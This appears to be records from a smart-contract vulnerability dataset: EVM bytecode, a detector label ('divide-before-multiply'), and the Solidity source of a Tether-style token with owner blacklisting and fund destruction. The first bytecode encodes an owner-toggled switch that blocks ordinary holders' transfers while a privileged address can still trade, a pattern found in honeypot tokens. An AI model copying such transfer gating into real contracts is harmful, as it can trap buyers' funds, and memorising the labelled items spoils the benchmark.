ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073790612777565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082290612777565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290612809565b60405180910390fd5b6108c881604051806060016040528060228152602001612f9d60229139846116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600f60009054906101000a900460ff16905090565b6000692a5a058fc295ed000000905090565b600061094684848461167d565b610a0784610952611390565b610a0285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109b8611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b61144e565b600190509392505050565b6000600e54821115610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a509061289b565b60405180910390fd5b6000610a63611d81565b9050610a7881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b6000610b40610aa4611390565b84610b3b8560056000610ab5611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b6000692a5a058fc295ed000000831115610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090612907565b60405180910390fd5b81610bb8576000610ba984611398565b50505050905080915050610bce565b6000610bc384611398565b505050915050809150505b92915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612777565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610fc6906126f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610ff2906126f9565b801561103f5780601f106110145761010080835404028352916020019161103f565b820191906000526020600020905b81548152906001019060200180831161102257829003601f168201915b5050505050905090565b600061110c611056611390565b846111078560405180606001604052806025815260200161300d6025913960056000611080611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b61144e565b6001905092915050565b600061112a611123611390565b848461167d565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129890612777565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611619565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c91906124bd565b60405180910390a3505050565b6000838311158290611661576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116589190612338565b60405180910390fd5b50600083856116709190612ba8565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e490612c4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175490612ce0565b60405180910390fd5b600081116117a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179790612d72565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118415750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561188a5760008114611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090612db8565b60405180910390fd5b5b60011515600f60009054906101000a900460ff16151514806118de57506118af611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061191b57506118ec611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d2557600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119c35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b7657611a3481604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac981600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b6991906124bd565b60405180910390a3611d20565b611be281604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d1791906124bd565b60405180910390a35b611d7c565b60011515600f60009054906101000a900460ff16151514611d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7290612db8565b60405180910390fd5b5b505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e5490506000692a5a058fc295ed000000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e54692a5a058fc295ed000000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f692a5a058fc295ed000000600e546112fc90919063ffffffff16565b8210156121af57600e54692a5a058fc295ed0000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b60006020828403121561244457612443612237565b5b6000612452848285016123a3565b91505092915050565b60008060006060848603121561247457612473612237565b5b6000612482868287016123a3565b93505060206124938682870161225d565b92505060406124a48682870161225d565b9150509250925092565b6124b78161223c565b82525050565b60006020820190506124d260008301846124ae565b92915050565b6000806000606084860312156124f1576124f0612237565b5b60006124ff868287016123a3565b9350506020612510868287016123a3565b92505060406125218682870161225d565b9150509250925092565b600060ff82169050919050565b6125418161252b565b82525050565b600060208201905061255c6000830184612538565b92915050565b61256b816123f8565b811461257657600080fd5b50565b60008135905061258881612562565b92915050565b600080604083850312156125a5576125a4612237565b5b60006125b38582860161225d565b92505060206125c485828601612579565b9150509250929050565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b6000612761601d836122aa565b915061276c8261272b565b602082019050919050565b6000602082019050818103600083015261279081612754565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006127f3602c836122aa565b91506127fe82612797565b604082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612885602a836122aa565b915061289082612829565b604082019050919050565b600060208201905081810360008301526128b481612878565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006128f1601f836122aa565b91506128fc826128bb565b602082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b6000612bb38261223c565b9150612bbe8361223c565b925082821015612bd157612bd0612993565b5b828203905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c386025836122aa565b9150612c4382612bdc565b604082019050919050565b60006020820190508181036000830152612c6781612c2b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cca6023836122aa565b9150612cd582612c6e565b604082019050919050565b60006020820190508181036000830152612cf981612cbd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d5c6029836122aa565b9150612d6782612d00565b604082019050919050565b60006020820190508181036000830152612d8b81612d4f565b9050919050565b50565b6000612da26000836122aa565b9150612dad82612d92565b600082019050919050565b60006020820190508181036000830152612dd181612d95565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122067f2d846021e95adcd878f6797fceecb1058c5e392c7f5ba1a911e707d5f9d8d64736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
580
0x2b878d4698845d650f5d5dc268f9686964787028
/** *Submitted for verification at Etherscan.io on 2021-08-26 */ pragma solidity ^0.4.17; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract TetherToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x60606040523615610194576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101995780630753c30c14610227578063095ea7b3146102605780630e136b19146102a25780630ecb93c0146102cf57806318160ddd1461030857806323b872dd1461033157806326976e3f1461039257806327e235e3146103e7578063313ce56714610434578063353907141461045d5780633eaaf86b146104865780633f4ba83a146104af57806359bf1abe146104c45780635c658165146105155780635c975abb1461058157806370a08231146105ae5780638456cb59146105fb578063893d20e8146106105780638da5cb5b1461066557806395d89b41146106ba578063a9059cbb14610748578063c0324c771461078a578063cc872b66146107b6578063db006a75146107d9578063dd62ed3e146107fc578063dd644f7214610868578063e47d606014610891578063e4997dc5146108e2578063e5b5019a1461091b578063f2fde38b14610944578063f3bdc2281461097d575b600080fd5b34156101a457600080fd5b6101ac6109b6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ec5780820151818401526020810190506101d1565b50505050905090810190601f1680156102195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023257600080fd5b61025e600480803573fffffffffffffffffffffffffff